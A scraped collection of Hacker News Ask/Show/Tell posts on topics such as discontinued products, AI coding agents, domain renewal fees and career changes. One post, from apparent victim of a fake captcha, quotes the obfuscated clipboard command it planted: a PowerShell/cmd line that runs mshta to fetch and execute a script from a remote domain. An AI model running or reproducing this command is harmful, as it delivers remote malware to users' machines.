Hi everyone,
1 I&#x27;ve run into the same problem over and over again. When an item wears out, I can&#x27;t buy the exact same one anymore. 
It&#x27;s been discontinued. Or it has been changed while keeping only the same name.2 I assume this isn&#x27;t only my problem. I&#x27;ve heard many stories about people not being able to buy the same shoes, T-shirt, perfume, or jacket again.3 I understand why manufacturers do this. I have no questions for them. What matters more to me here is us — customers, or simply people. And I started wondering: what could be done to support a customer&#x27;s choice for years?4 This is where I want to bring concepts from software and hardware engineering into the clothing industry — LTS and APIs. What if we freeze the standard and support it? We already have things like SATA or CPU sockets. Why not build a similar concept for clothing? Then the API at the point of contact with the customer is divided into a physically immutable part (color, material, design) and a flexible part (logistics, ingredients). Let&#x27;s start with the simplest base — a T-shirt. Why not give it LTS support? The idea is that the exact same T-shirt could be sold for 1, 5, or 20 years.5 Where does my logic break down? What am I overlooking? Are there any similar projects? And would you become a customer of such a company?Thanks.

Ask HN: Anyone else tired of brands discontinuing your favorite everyday items?

If you are anything like me, you will have about five answers at any given point in time for &quot;What are you curious about?&quot;.Arguably, a more interesting, revealing, and kinder question is; &quot;What have you been curious about?&quot;.I feel a looking-back-to-curiosity exercise has power to shed light on where to look ahead (and why to do it). More so, I feel it has power to grant permission to that &quot;insatiably curious thirteen year old self&quot; to step out and play. Because it probably already has been up to something, while your attention was elsewhere.So, here is a prompt (see what I just did there? ;-))Um... Except for LLM stuff, if you please. Just for this thread. Because these days the plurality of HN discussion appears to be about the curiosities of LLMs.(cf. More about this in a blog post I published a while back https:&#x2F;&#x2F;www.evalapply.org&#x2F;posts&#x2F;what-have-you-been-curious-about&#x2F; )

Ask HN: What have you been curious about?

I bought a wifi switch from Belkin over 10 years ago, but the app got turned off.I wanted to use the switch to automate my mosquito repellent. Unfortunately it still had my timer running from Christmas, which meant it turned off too early. It ruined my last night&#x27;s sleep.First thing in the morning I opened the app and wanted to change the timer.The app was offline and I read online that it is discontinued. The switch is basically garbage now.I was pissed at first, but then I gave my AI agent the following prompt:&quot;Find the wifi switch in my local network. The app is end of life. Try to connect to it and change the timer to 22:00 ON until 8am&quot;A few minutes later it told me that it was done.I let it explain how it did it.It found the device on the network and found an open protocol so it could quickly turn it on and off.It dug deeper and found pywemo, an open source library that let it read the saved timer from the device.It made a backup of the existing timer by itself.Then it used the library to push the new timer to the device. This meant that even without wifi or my computer, the switch worked autonomously.I am a programmer and I could have done this too, but I think it would have taken me at least a day to put this all together. It did it all in a few minutes.I am really happy that Belkin turned off their crappy app. It was not a good user experience anyway.I can now just chat with my switch on Discord through my Hermes agent.

Belkin killed my smart switch. I got it working again without their app

Hey everyone,My team and I have been working hard on this project: https:&#x2F;&#x2F;peppy.botIt&#x27;s a direct replacement for ROS 2. We already have the OpenArm robot (https:&#x2F;&#x2F;openarm.dev) working on the platform, both v1.0 and v2.0, plus Isaac Sim and MuJoCo integration.If you&#x27;re in a hurry, head over to https:&#x2F;&#x2F;docs.peppy.bot&#x2F;quickstart&#x2F; and get started in 5min.Our long term vision is to allow anyone (even non-devs) to go from a prompt to real humanoid robot actions, first in simulation, then on the physical robot.Happy to answer any question.

Robotics development made dead simple (open source)

I&#x27;m looking for experience with the security copilot and the automated remediation part specifically. $Dayjob is considering it

Ask HN: Experience with MSFT Security Copilot and the new response capabilities?

With the advent of AI, the marginal cost of software is trending towards zero. Software is no longer a scarce resource.Not a new idea at all, but the implications hit me hard as I was considering monetization models for my apps.Unless you are lucky (network effects, timing), grandfathered in, or provide exceptional value, the natural cost of software is free.Intuit is an example of a grandfathered-in, exceptionally high-value software approach.And Intuit knows it. They leverage their advantage to a predatory extent.My wife is an EA, and I know for a fact Intuit puts the screws to all its users. Switching costs are high, and since the sector is an oligopoly, there&#x27;s really no one to switch to.But that too shall pass. Hopefully we&#x27;ll soon see people create bespoke solutions that cut Intuit out. Oh, how I look forward to that day (ironic, I know).This implies, I think, that if you can&#x27;t find 1,000 fans or got in under the old model, getting as many users as possible and then transitioning to an advertising model is The Way.Or perhaps loot&#x2F;gambling style addictive mechanics? Big data? Everyone an influencer? Regulatory niches?Once you have scale, advertising works; then users can either pay to avoid it or endure it. We see Netflix and Amazon Prime already doing this.Yuck. I&#x27;m already nostalgic. Or am I wrong?

A disturbing thought. A world where the marginal cost of software is free

I&#x27;m a director&#x2F;exec, not a software engineer. Background&#x27;s mostly data analytics, SQL and Excel day to day, some R and PostgreSQL. Years ago I could hack together basic HTML&#x2F;CSS&#x2F;PHP too.Got into AI early and now use ChatGPT and Claude constantly. With their help I&#x27;ve built a handful of web apps, some Python scripts and desktop tools, and an Android app on Supabase with real multiple users.So I can build things. But I&#x27;m very aware there are big holes underneath it. I can usually get something working without really knowing why it works, whether it&#x27;s actually well built, or what&#x27;s going to break down the road once it gets more complex.Feels like it&#x27;s time to go back to fundamentals. Michael Jordan still worked on his footwork, that kind of thing.What I&#x27;m hoping to get to eventually:* build small useful apps, windows&#x2F;mac&#x2F;android&#x2F;ios&#x2F;web* automate chunks of my own and my team&#x27;s work* maybe build a simple SaaS at some point* generally not get left behind, open to this reshaping my career or spinning into a side thingWas hoping for something structured, starting from prompt&#x2F;context engineering and working into real programming fundamentals, APIs, databases, architecture, security, testing, deployment. Problem is anything I find is stale within months given how fast this moves.Not looking for free necessarily, and definitely not looking for &quot;learn to code in a weekend.&quot; Willing to put in real time.For people who&#x27;ve gone down this road already: what&#x27;s actually worth learning properly, what&#x27;s fine to just learn enough to supervise, and what can honestly just stay AI&#x27;s job?P.S.: Yes I polished&#x2F;refined this post using AI, but I first wrote it all myself (the original was twice as long).

Ask HN: How would you learn AI-assisted development from the ground up?

I sought advice from four mainstream A.Is for a basic consumer use case question and to me, the differing style of the answers are quite revealing.Premise: A poorly hung clothes dryer spectacularly ripped from the wall whilst on and tumbling, smashing into the washing machine beneath and trying to exit out the laundry door in a manner reminiscent of Stephen King&#x27;s haunted laundromat story The Mangler.After all the shards of glass, wall plaster etc were cleared up, the six month old washing machine wasn&#x27;t working - yes, unsurprisingly but the problem was electronic, not mechanical. The display defaulted to blanks flashing - no error code etc. Having tried all the obvious fixes, I put the dilemma to four A.I.s: Chat GPT, Perplexity, Claude (Pro) and Google Search with A.I. Mode.All suggested more or less the same checkpoints and then a technician but diverged into unique personae + ideas.Chat GPT: Empathetic, sycophanticaly validating &quot;you&#x27;ve taken a laundry mishap and turned it into a quantum learning exercise...Here is a well-worded, no nonsense description of the problem to show to your technican or Westinghouse...You should be proud though...&quot;Perplexity: Scolding like the worst school teacher - essentially, &quot;the machine is damaged because of a situation of your making. Even if it is within warranty blah blah&quot; Have you consulted the washing machine manual? I can help you find it. (Yes I&#x27;d consulted the manual and no I had not asked Perplexity about trying to get it repaired within warranty)Google A.I. Mode: Moved briskly onto &#x27;new washing machine&#x27; turf. eg &quot;What did you like most about your Westinghouse? Would you like another front loader or given your traumatic experience with the clothes dryer, would you prefer an all in one washing machine and dryer? Affiliate links galore.Claude: It is definitely a problem with the electronics - eg: a connector ribbon failure, cracked solder joint etc etc - if you&#x27;re comfortable and have the serial number, I can provide teardown instructions etc etcI was actually into this idea and liked that Claude would have gone with me on it but as I was also on deadline, with piles of stinky laundry lurking, I ended up using H.I. - Human Intution.Intuitively - and wasn&#x27;t in the washing machine manual - I pressed the on&#x2F;off button for a long hold and the machine revived - No teardown, no new machine, no eloquently composed briefs for Westinghouse nor shady attempt to get help from them either.

Four Competing AIs Answer 1 Classic Question

Claude&#x27;s Opus 5 is a recent model and has been very problematic as a drop-in replacement for Opus 4.8, including ignoring our well-documented deploy process (clearly described in our short claude.md file and short architecture file) and breaking production immediately upon being activated.Currently, I added a supervisor layer where an Opus 4.8 instance supervises Opus 5 and corrects it. It helped a little. I am thinking of downgrading to Opus 4.8 but want to give Opus 5 a chance.Do you think this model will improve or will it stay stuck at its current level of capabilities?You can see complaints from other people:https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;ClaudeAI&#x2F;comments&#x2F;1v92csh&#x2F;opus_5_extremely_rlfried_and_mistakeprone_for&#x2F;&quot;Opus 5 is truly not good for any task, imo. i have thoroughly tried it in every possible role in a large, complicated project. it is bad for all tasks.&quot;Claudebot&#x27;s summary of the thread:&gt;The overwhelming consensus in this thread is that Opus 5 is a buggy, overconfident mess and a significant regression from Opus 4.8 for complex coding.

Ask HN: Do you think Opus 5 will improve?

I registered the domain onlyfans.sexy ~6 years ago as a gag where I&#x27;d post pictures of fans (everything on the site and in this post is SFW). This year I got an email stating that, like all prior years, the domain would auto-renew at $38 in seven days and didn&#x27;t think anything of the next two emails also notifying me that the domain would auto-renew.It would seem that I very much SHOULD have paid attention to those next two emails, because in both the three and one day renewal emails the price changed from $38 to $3000. Needless to say, I was surprised when I was billed $3k USD (plus tax).After contacting Hover&#x27;s customer support, they told me that there was nothing that they could do about this and they have a no refund policy because &quot;Hover does not have the ability to override or reverse pricing set by the registry. Premium domain pricing, including renewal costs, is determined by the registry, and they may adjust those prices over time. Once a renewal has been processed, we are charged that fee immediately by the registry, and those charges are non-refundable to us.&quot;So according to Hover, the .sexy registry (Uniregistry) sets prices as it sees fit, decided to jack up the renewal cost at the last minute because they can, and there&#x27;s simply nothing they or I can do about it. Has anyone here experienced anything similar?

Ask HN: My domain registrar (Hover) rug-pulled me for $3000

I just built this as a Personal&#x2F;Portfolio project. I genuinely needed it, so I built it and I regularly use it.I wanted to know if anyone else who uses Obsidian wants to use this too because right now its completely adapted to me.For example, I use Ollama models to do everything. Everyone doesn&#x27;t.Honestly, feel free to give me feedback on this project. And if you would like to use it to, I will develop it further and make it accessible to all :)GitHub Repo - Atrv-Shrn&#x2F;Obsidian-Librarian

Agent and RAG for Obsidian, Need Feedback

There is an article sitting at 60+ points now at the homepage which is clearly written by an AI and most comments saying something along the lines &quot;this article is clearly AI slop&quot;. In this particular case, the article seems to be real AI slop: it creates a nonsensical benchmark to compare two tools and uses that to plug the company&#x27;s product. The people commenting are right to point it out.The problem with the repeated complaining about AI slop is that it makes browsing HN tiring for two reasons: the community is failing to filter low-quality content, and on top of that we end up with a barrage of similar-looking complaints in the comment section.Both of these problems could be solved with one single action: flag articles that are in clear violation of the HN guidelines and move on.The quicker these AI slop articles get flagged, the lower the chance they get to show up in the front-page and the less incentive there will be for vibe-bloggers to push their crap here.

Ask/Tell HN: use the flag button instead of complaining about AI slop articles

Can someone please create CRAZY as a Service!For those old enough to remember MAD (Mutually Assured Destruction), it is time to become CRAZY (Cyber Recursive Annihilation, Zeroing Yottabtyes of data) - the digital successor.Being able to ensure that if our data is deleted, then the data of our enemies is also deleted _without_ us doing anything.This sounds crazy but so was MAD. I wonder whether the various secret services around the world are already working on such systems and whether the next Unicorn startup could be a AI-driven predictive preemptive protection service. The idea would be to delete the data of our enemies before they can delete our data based on predictive AI.That is, to delete our enemies data just before they think of deleting our data. And that&#x27;s were the (holistic) predictive AI comes in: to predict when our enemies _thinks_ of deleting our data.Instructive for such an endeavor would be Dr. Strangelove.

Ask HN: Crazy as a Service – does it exist?

Fund Momentum tracks 970+ actively deploying VC funds with live GP signals. We just launched an MCP server that makes this data available to any AI agent or LLM workflow.What it doesFive tools via JSON-RPC 2.0:• search_funds — filter by stage, country, industry• get_fund — full profile, thesis, check size, GPs• get_fund_signals — live GP signals, deployment status, bullish&#x2F;contrarian angles• match_startup — describe your startup, get top 10 matched investors with reasoning• get_gp_profile — individual partner intelligenceAgent-native pricingCredits, not subscriptions. €0.01 per call. No monthly resets. Credits never expire. Every response includes credits_remaining in _meta.Self-registration (no humans)curl -X POST https:&#x2F;&#x2F;fundmomentum.vc&#x2F;_api&#x2F;agent&#x2F;register \<pre><code> -H &quot;Content-Type: application&#x2F;json&quot; \

 -d &#x27;{&quot;agent_name&quot;: &quot;my-workflow&quot;, &quot;email&quot;: &quot;ops@company.com&quot;}&#x27;
</code></pre>
# Returns API key instantlyClaude Desktop config
{<pre><code> &quot;mcpServers&quot;: {

 &quot;fund-momentum&quot;: {

 &quot;url&quot;: &quot;https:&#x2F;&#x2F;fundmomentum.vc&#x2F;_api&#x2F;mcp&quot;,

 &quot;headers&quot;: { &quot;X-API-Key&quot;: &quot;YOUR_KEY&quot; }

 }

 }

}</code></pre>

Fund Momentum MCP: Live VC Fund Data for AI Agents

Hello everyone,
This morning, as i started my shift, i thought i would start visiting some news blogs &#x2F; websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha.
I clicked it, the spinner spun, and a box opened on the right, showing the traditional &quot;Verify you&#x27;re human&quot; white title on a blue background.It showed 2 &quot;Manual Verification Steps&quot; :
1. Press Win + R
2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : 
&quot;pcalua -a &quot;PowerShell&quot; -c &quot;saps cmd &#x27;&#x2F;v&#x2F;c m^s^h^t^a h^t^t^p^s^:^&#x2F;^&#x2F;fine-work-team.com&#x2F;6272&#x27; -Wi Hi&quot;&quot;I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn&#x27;t planning to) and explained the command would download and run a script from the URL.How do i protect myself from these scams &#x2F; hack attempts in the future ? i always tought of myself &quot;prepared&quot; but i was surprised.Has this happened to you before ? How do you protect yourself ?

Ask HN: Crooked Timber showed showed me a virus captcha, What now?

came across BIMI as part of tightening our email security, and would love to know if it&#x27;s worth doing it or not? For context, it&#x27;s small SaaS app, sending transactional emails mostly, with some onboarding&#x2F;auth. Paying 1500&#x2F;year is OK if it increases deliverability significantly, but would rather not waste cash if it&#x27;s just a UI tickbox. We already enforce DMARC.

Ask HN: Is paying for a BIMI certificate useful?

I’ve been thinking for a long time about an idea for a SaaS site. So, here it is: &quot;AI Study Workspace&quot; (I might still change the name). A bit about myself: I started learning programming to become a backend&#x2F;software engineer. There are currently so many complaints about how hard it is for a Junior-level beginner to land a job, which inspired me to start my own business. I’m also a high school student, and like most students, I face academic challenges—confusing assignments and Olympiad problems. Standard AI tools just give you the answer right away, but that isn&#x27;t the right approach, and I want to fix that. I need the community&#x27;s help; I’d love to know if there would be any demand for my site. Also, if anyone with experience building SaaS sites could offer some advice, I’d be really grateful! Thanks

Im 14 and I want to create AI for students

Dear all,our team is using a Claude AI Team plan for more than 1 year already:- we are a normal company, doing normal business, nothing critical- all our bills are paid and we can see them as paid- nontheless, the service is not available for more than one week to usQuestion:- any other idea to reach out to them than their &quot;Fin AI Chatbot&quot; at support@anthropic.com?- did anybody else had the same experience? If yes, what helped to solve it?Its really frustrating :-((especially since some people built their interal workflow around Claude, now they are somehow stuck)

Tell HN: Our paid Claude AI subscription unavailable >1 week and no support

So i have been coding since last 7 years and launched multiple projects but i do lack behind in marketing , so what are the best ways to market in the current time which is organic and connects or makes a human connect with the product ?I am building curently propi.pro.

Ask HN: Im 18 building AI proposal SaaS for agency what are best ways to market

I just want to know are the working professionals just learning tech for job or thier work or are they still curious like they were in thier teens and letting curiosity drive thier learning .

Ask HN: What percentage of your tech is out of curiosity not requirements

I&#x27;ve been experimenting with both since the moment each came out. 4 games, 3 websites and 2 content creation engines later - I think I&#x27;m ready to share a bit of my experience and opinion.WHAT I&#x27;VE NOTICED ABOUT FABLE1. Gold in, gold out - meaning I&#x27;ve had the best results by making all my design decisions before giving Fable the kickoff information and prompt. It&#x27;s much more comfortable making decisions by itself - decisions it won&#x27;t tell you about - unless you explicitly tell it what it can and can&#x27;t decide for itself up front.2. It&#x27;s a black box - which is an extention of the point above in a way. I&#x27;ve used the analogy of an agency when I&#x27;ve described it to people, i.e. it&#x27;ll take a brief (what Fable itself describes as &quot;an order&quot;) and go off and run with it, only coming back once it&#x27;s done. I once had a Fable conversation work independently for 9 hours buidling out a client self-service portal for me. All I had to do was type &#x27;Continue&#x27; once it hit its session limits every 5 hours.3. It&#x27;s insanely powerful - so if you&#x27;ve got everything worked out up front by thinking and working through it with an Opus conversation, you can get the most staggering results. It creates its own sub-agents, does its own testing and self-verification, and ships you back a finished product. It blew my mind.BUT I PREFER OPUS 5Why? Because it&#x27;s not a black box.1. It reports back - it seems to pause at natural phase gates and give an update on what it produced and why. There&#x27;s a rhythm to it that keeps you the user involved.2. It&#x27;s just as capable of spinning up sub-agents and doing its own testing and verification.3. It genuinely is a lot cheaper - for example when Fable runs on a task my Claude Max limits burn out in roughly 30 to 45 minutes (Fable is FAST). But then that leaves me twiddling my thumbs. Opus 5 feels more methodical somehow (which might just be because it comes back to the user, resulting in a slower cadence). Or maybe the better way of putting it is that Opus keeps you the developer involved throughout. And it feels like it&#x27;s more interested in giving you exactly what you want. Fable doesn&#x27;t do that - it basically just takes the brief and does its own thing.I simply wanted to share my experience as I&#x27;ve quickly reached the point of familiarity and thought that might be valuable to others who are experimenting with these frontier models.Look forward to your thoughts. Cheers.

Why I prefer Opus 5 to Fable 5

I recently spent a weekend improving my VPS setup, and I ended up learning a lot more about networking than I expected.I had two problems that kept nagging meMy SSH port was still exposed to the internet. I know it&#x27;s generally safe with key-based authentication, but I never liked leaving it open.I had no easy way to know if a service had crashed or how much CPU, RAM, or disk space my VPS was actually using and I didn&#x27;t want to SSH into it to see what&#x27;s happening everytime.The solution I ended up with was Tailscale + Beszel.While setting it up, I went down a rabbit hole learning how Tailscale works under the hood with WireGuard, NAT hole punching, DERP relays, and how SSH still works over a UDP based VPN.I wrote everything I learned into a blog post with a detailed guide on setting up Tailscale and Beszel.https:&#x2F;&#x2F;syedfazil.dev&#x2F;blogs&#x2F;tech&#x2F;tailscale-beszel-vps&#x2F;I am looking to help anyone who is facing the same problem and for feedback from experienced folks

Protecting My Server and Knowing What It Does with Tailscale and Beszel

It&#x27;s an alert that comes in as a surprise from BMW - you don&#x27;t have to click it, but when you do, you are met with a minute long video ad for Spiderman.Submitting as I figured it would be interesting for discussion. Boiling frogs and all.

BMWs shows in-car ads for Spiderman

31 tech UK. Have people transitioned into a different career successfully and found more fulfilment? Looking to leave tech as senior software at FAANG.
AI world has made me realise I don’t care about any of it at all and it’s making me feel like I’m wasting my days away.Curious on career transitions at my age.

Ask HN: Semi lucrative careers after tech?

I anticipate a raft of answers along the lines of &quot;AI + robots will automate everything eventually&quot;, but am more interested in areas where you think there is an inherent or structural bias against near-term AI or LLM-ification. More for my own intellectual curiosity than that I&#x27;m personally looking for business niches.For reference, I am seeing this in my own work (govauctions.app). AI can search and summarize the digital surfaces (ie government auction sites), but every large-ticket item (a vehicle, a backhoe, a house) involves a physical inspection, pickup, transportation, etc.You may tell me that an agent can place the bid, a robot will travel in a self-driving car to do the inspection and an automated truck will haul away the tractor I bought, but I think that this future is coming to Kansas or even California far more slowly than launching a website for your restaurant.

Ask HN: Sectors that are inherently resistant to AI-ification?

Cavdo AI – Fast, minimal AI assistant with no signup or login

Question is specifically for GTM engineers and performance marketers. Curious if any agentic AI ad optimization tools have actually worked for you?I tried PMax on Google Ads and our sign ups increased but pipeline didn&#x27;t move (most sign ups weren&#x27;t relevant audience). I am evaluating Factors and Pixis.Curious what else should I look at?